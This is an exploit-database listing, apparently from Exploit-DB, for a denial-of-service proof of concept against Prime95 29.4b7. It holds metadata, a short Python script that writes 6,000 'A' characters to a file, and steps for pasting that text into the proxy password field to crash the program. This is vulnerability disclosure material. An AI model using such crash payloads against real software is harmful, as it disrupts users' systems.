header-logo
Suggest Exploit
vendor:
Prime95
by:
Gionathan "John" Reale
5.5
CVSS
MEDIUM
Denial of Service
400
CWE
Product Name: Prime95
Affected Version From: 29.4b7
Affected Version To: 29.4b7
Patch Exists: NO
Related CWE:
CPE: a:mersenne:prime95:29.4b7
Metasploit:
Other Scripts:
Platforms Tested: Windows 7 32-bit
2018

Prime95 29.4b7 – Denial Of Service (PoC)

This exploit script creates a file with a large payload and then uses it to crash the Prime95 software. By pasting the payload into a specific field in the program, it causes a crash.

Mitigation:

Apply the latest patch or update for the Prime95 software.
Source

Exploit-DB raw data:

# Exploit Title: Prime95 29.4b7 - Denial Of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-20
# Homepage: http://www.mersenne.org
# Software Link: http://www.mersenne.org/ftp_root/gimps/p95v294b7.win32.zip
# Tested Version: 29.4b7
# Tested on OS: Windows 7 32-bit

# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. 
# In the new window click "Test" > "PrimeNet" > "Connection..". 
# Now enter some test information into the fields until you reach the last field. 
# Paste the content of "exploit.txt" into the last field: "Optional proxy password". 
# Click "Ok" > "Ok" and you will see a crash.

#!/usr/bin/python
   
buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"